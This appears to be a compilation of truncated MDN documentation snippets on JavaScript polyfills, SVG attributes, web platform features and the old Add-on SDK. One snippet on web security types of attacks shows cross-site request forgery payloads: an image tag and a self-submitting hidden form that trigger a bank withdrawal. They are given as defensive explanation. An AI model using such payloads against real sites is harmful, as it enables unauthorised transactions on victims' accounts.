note: more about itemtype attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item.
... example html <div itemscope itemtype="http://schema.org/softwareapplication"> <span itemprop="name">angry birds</span> - requires <span itemprop="operatingsystem">android</span><br> <link itemprop="applicationcategory" href="http://schema.org/gameapplication"/> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.6</span> ( <span itemprop="rati...
...ngcount">8864</span> ratings ) </div> <div itemprop="offers" itemscope itemtype="http://schema.org/offer"> price: $<span itemprop="price">1.00</span> <meta itemprop="pricecurrency" content="usd" /> </div> </div> structured data itemscope itemtype softwareapplication (http://schema.org/softwareapplication) itemprop name angry birds itemprop operatingsystem android itemprop applicationcategory gameapplication (http://schema.org/gameapplication) itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.6 itemprop ratingcount 8864 itemscope itemprop[itemtype] offers [offer] itemprop price 1.00 itemprop p...
Array.prototype.reduceRight() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // production steps of ecma-262, edition 5, 15.4.4.22 // reference: http://es5.github.io/#x15.4.4.22 if ('function' !== typeof array.prototype.reduceright) { array.prototype.reduceright = function(callback /*, initialvalue*/) { 'use strict'; if (null === this || 'undefined' === typeof this) { throw new typeerror('array.prototype.reduce called on null or undefined'); } if ('function' !== typeof callback) { throw new typeerror(callback + ' ...
... * * h(x) = f(g(x)) * * function execution happens right to left * * https://en.wikipedia.org/wiki/function_composition */ const compose = (...args) => (value) => args.reduceright((acc, fn) => fn(acc), value) // increment passed number const inc = (n) => n + 1 // doubles the passed value const double = (n) => n * 2 // using composition function console.log(compose(double, inc)(2)); // 6 // using composition function console.log(compose(inc, double)(2)); // 5 s...
Array.prototype.map() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... // production steps of ecma-262, edition 5, 15.4.4.19 // reference: http://es5.github.io/#x15.4.4.19 if (!array.prototype.map) { array.prototype.map = function(callback/*, thisarg*/) { var t, a, k; if (this == null) { throw new typeerror('this is null or not defined'); } // 1.
... // see: http://es5.github.com/#x9.11 if (typeof callback !== 'function') { throw new typeerror(callback + ' is not a function'); } // 5.
String.prototype.codePointAt() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...https://mths.be/codepointat v0.2.0 by @mathias */ if (!string.prototype.codepointat) { (function() { 'use strict'; // needed to support `apply`/`call` with `undefined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defineproperty; var result = $defi...
... the first code unit var first = string.charcodeat(index); var second; if ( // check if it’s the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'writable': true }); } else { string.prototype.codep...
encodeURI() - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...note how certain characters are used to signify special meaning: http://username:password@www.example.com:80/path/to/file.php?foo=316&bar=this+has+spaces#anchor hence encodeuri() does not encode characters that are necessary to formulate a complete uri.
...+$# console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // abc%20abc%20123 (the space gets encoded as %20) console.log(encodeuricomponent(set1)); // %3b%2c%2f%3f%3a%40%26%3d%2b%24%23 console.log(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // abc%20abc%20123 (the space gets encoded as %20) note that encodeuri() by itself cannot form proper http get and post requests, such as for xmlhttprequest, because "&", "+", and "=" are not encoded, which are treated as special characters in get and post requests.
Autoplay guide for media and Web Audio APIs - Web media technologies
the http feature-policy header's autoplay directive is used to control which domains, if any, can be used to autoplay media.
... feature-policy: autoplay 'self'; fullscreen the same permissions, grated using the <iframe> element's allow property, look like this: <iframe src="mediaplayer.html" allow="autoplay 'src'; fullscreen"> </iframe> example: allowing autoplay from specific sources the feature-policy header to allow media to be played from both the document's (or <iframe>'s) own domain and https://example.media looks like this: feature-policy: autoplay 'self' https://example.media an <iframe> can be written to specify that this autoplay policy should be applied to itself and any child frames would be written thusly: <iframe width="300" height="200" src="mediaplayer.html" allow="autoplay 'src' https://example.media"> </iframe> example: disabling autoplay setting the...
...the http header is: feature-policy: autoplay 'none' using the <iframe>'s allow attribute: <iframe src="mediaplayer.html" allow="autoplay 'none'"> </iframe> best practices tips and recommended best practices to help you make the most of working with autoplay are offered here.
Privacy, permissions, and information security
server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they ...
...can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly known as secure sockets layer (ssl) tls provides security and privacy by encrypting data during transport over the network.
... this is the technology behind the https (hypertext transport protocol secured) protocol not all of these are generally directly used within code; notably, the permissions api, feature policy, and the allow attribute on <iframe> elements are primary tools directly used by code to help secure a site and its content.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
security because they are so powerful, service workers can only be executed in secure contexts (meaning https).
... if you want to experiment first before pushing your code to production, you can always test on a localhost or setup github pages — both support https.
... responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app.
Progressive web apps (PWAs)
in order to call a web app a pwa, technically speaking it should have the following features: secure contexts (https), one or more service workers, and a manifest file.
... secure contexts (https) the web application must be served over a secure network.
...most of the features related to a pwa such as geolocation and even service workers are available only once the app has been loaded using https.
dominant-baseline - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on the text content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } text { font: bold 14px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 200 120" xmlns="http://www.w3.org/2000/svg"> <path d="m20,20 l180,20 m20,50 l180,50 m20,80 l180,80" stroke="grey" /> <text dominant-baseline="baseline" x="30" y="20">baseline</text> <text dominant-baseline="middle" x="30" y="50">middle</text> <text dominant-baseline="hanging" x="30" y="80">hanging</text> </svg> usage notes value auto | text-bottom | alphabetic | ideographic | middle ...
... example svg <svg width="400" height="300" viewbox="0 0 300 300" xmlns="http://www.w3.org/2000/svg"> <!-- materialization of anchors --> <path d="m60,20 l60,270 m30,20 l400,20 m30,70 l400,70 m30,120 l400,120 m30,170 l400,170 m30,220 l400,220 m30,270 l400,270" stroke="grey" /> <!-- anchors in action --> <text dominant-baseline="auto" x="70" y="20">auto</text> <text dominant-baseline="middle...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" end="8s" fill="freeze" /> </rect> <rect x="10" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" ...
...width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger --> ...
...idth=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="55" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="55" x2="110" y2="55" stroke="grey" stroke-width=".5" /> </svg> accesskey example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="accesskey(e)" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger --> <t...
in - SVG: Scalable Vector Graphics
WebSVGAttributein
html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmultiply"> <!-- this will not work.
... --> <feblend in="backgroundimage" in2="sourcegraphic" mode="multiply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundmultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround.
... --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
two elements are using this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by a...
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
spreadMethod - SVG: Scalable Vector Graphics
examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="reflectgradient" spreadmethod="reflect" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="1...
... examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialreflectgradient" spreadmethod="reflect" c...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
x - SVG: Scalable Vector Graphics
WebSVGAttributex
flood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" /> <!-- x with a single...
... value list of (<length> | <percentage>) default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" /> <text> <!-- x wi...
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x1 defines the x coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" ...
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x2 defines the x coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 100% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black...
y - SVG: Scalable Vector Graphics
WebSVGAttributey
flood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" /> <!-- y with a single...
... value list of (<length> | <percentage>) default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" /> <text> <!-- y wi...
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> lineargradient for <lineargradient>, y1 defines the y coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to.
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, y2 defines the y coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to.
Clipping and masking - SVG: Scalable Vector Graphics
creating clips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted.
... <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="gradient"> <stop offset="0" stop-color="black" /> <stop offset="1" stop-color="white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" /> </mask> </defs> <rect x="0" y="0" width="200" height="200" fill="green"...
...hence, if you set a stroke opacity on an element, that also has a fill, the fill will shine through on half of the stroke, while on the other half the background will appear: <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <rect x="0" y="0" width="200" height="200" fill="blue" /> <circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" /> </svg> screenshotlive sample you see in this example the red circle on blue background.
Getting started - SVG: Scalable Vector Graphics
<svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg.
...for normal svg files, servers should send the http headers: content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should send the http headers: content-type: image/svg+xml content-encoding: gzip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc.
... submit the url of one of your svg files and look at the http response headers.
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
<text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text.
... textpath this element fetches via its xlink:href attribute an arbitrary path and aligns the characters, that it encircles, along this path: <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve.
... </textpath> </text> playable code 2 <svg width="200" height="100" xmlns="http://www.w3.org/2000/svg"> <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve.
Types of attacks - Web security
in this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money: <img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the html that contains this image.
... for endpoints that require a post request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.queryselector('form').submit(); }</script> there are a few techniques that should be used to prevent this from happening: get endpoints should be idempotent—actions that enact a change and do not simply retrieve data should require sending a post (or other http method) request.
... alternatively, if the parent domain does not use http strict-transport-security with includesubdomains set, a user subject to an active mitm (perhaps connected to an open wifi network) could be served a response with a set-cookie header from a non-existent sub-domain.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
<html> <head> <base href="https://mydomain.com"> <style> .link { stroke: #999; stroke-opacity: .6; } marker#arrow { fill: black; } </style> </head> <body> <svg width="100%" height="100%" xml:base=""> <defs> <marker id="arrow" viewbox="0 -5 10 10" refx="0" refy="0" markerwidth="20" markerheight="20" orient="auto"> <path d="m0,-5l10,0l0,5"></path> </marker> </defs> <line x1="100" y1="100...
... <svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypas...
... work-arounds xml:base support in old browsers https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2 specifications specification status comment xml base (second edition) recommendation ...
port - Archive of obsolete content
the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script.
... the button sends the content script a message called "get-first-para" when it is clicked: // main.js pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.url("listener.js"), contenturl: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script listens for "get-first-para".
context-menu - Archive of obsolete content
.push(imgs[i].src);' + ' self.postmessage(imgsrcs);' + '});', onmessage: function (imgsrcs) { openimageeditor(imgsrcs); } }); show a "search with" menu when the user right-clicks an anchor that searches google or wikipedia with the text contained in the anchor: var cm = require("sdk/context-menu"); var googleitem = cm.item({ label: "google", data: "http://www.google.com/search?q=" }); var wikipediaitem = cm.item({ label: "wikipedia", data: "http://en.wikipedia.org/wiki/special:search?search=" }); var searchmenu = cm.menu({ label: "search with", context: cm.selectorcontext("a[href]"), contentscript: 'self.on("click", function (node, data) {' + ' var searchurl = data + node.textcontent;' + ' window.loc...
... var cm = require("sdk/context-menu"); var googleitem = cm.item({ label: "google", data: "http://www.google.com/search?q=" }); var wikipediaitem = cm.item({ label: "wikipedia", data: "http://en.wikipedia.org/wiki/special:search?search=" }); var bingitem = cm.item({ label: "bing", data: "http://www.bing.com/search?q=" }); var yahooitem = cm.item({ label: "yahoo", data: "https://search.yahoo.com/search?p=" }); var moremenu = cm.menu({ label: "more search", items: [bingitem, yahooitem] }); var searchmenu = cm.menu({ label: "search with", context: cm.selectorcontext("a[href]"), contentscript: 'self.
places/favicon - Archive of obsolete content
let { getfavicon } = require("sdk/places/favicon"); // string example getfavicon("http://mozilla.org").then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); // tab example require("sdk/tabs").open({ url: "http://mozilla.org", onready: function (tab) { getfavicon(tab).then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); } }); // an optional callback can be provided to h...
...andle // the promise's resolve and reject states getfavicon("http://mozilla.org", function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); parameters object : string|tab a value that represents the url of the page to get the favicon url from.
Low-Level APIs - Archive of obsolete content
net/xhr provides access to xmlhttprequest functionality.
... test/httpd an http server for the mozilla platform, which can be used in unit tests.
cfx - Archive of obsolete content
note that as the add-on documentation explains, you should make sure the update procedure for your add-on is secure, and this usually involves using https for the links.
... so if we run the following command: cfx xpi --update-link https://example.com/addon/latest/pluginname.xpi --update-url https://example.com/addon/update_rdf/pluginname.update.rdf cfx will create two files: an xpi file which embeds https://example.com/addon/update_rdf/pluginname.update.rdf as the value of updateurl an rdf file which embeds https://example.com/addon/latest/pluginname.xpi as the value of updatelink.
package.json - Archive of obsolete content
cross-domain-content: a list of domains for which content scripts are given cross-domain privileges to access content in iframes or to make xmlhttprequests.
...a tool "fixpack" will reorder your package.json as follows: name first description second version third author fourth all other keys in alphabetical order dependencies and devdependencies sorted alphabetically newline at the end of the file more details here: "github - henrikjoreteg/fixpack: a package.json file scrubber for the truly insane." https://github.com/henrikjoreteg/fixpack ...
Adding a Button to the Toolbar - Archive of obsolete content
n the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } now run the add-on with jpm run.
... clicking the button loads https://www.mozilla.org/ into a new tab.
Boxes - Archive of obsolete content
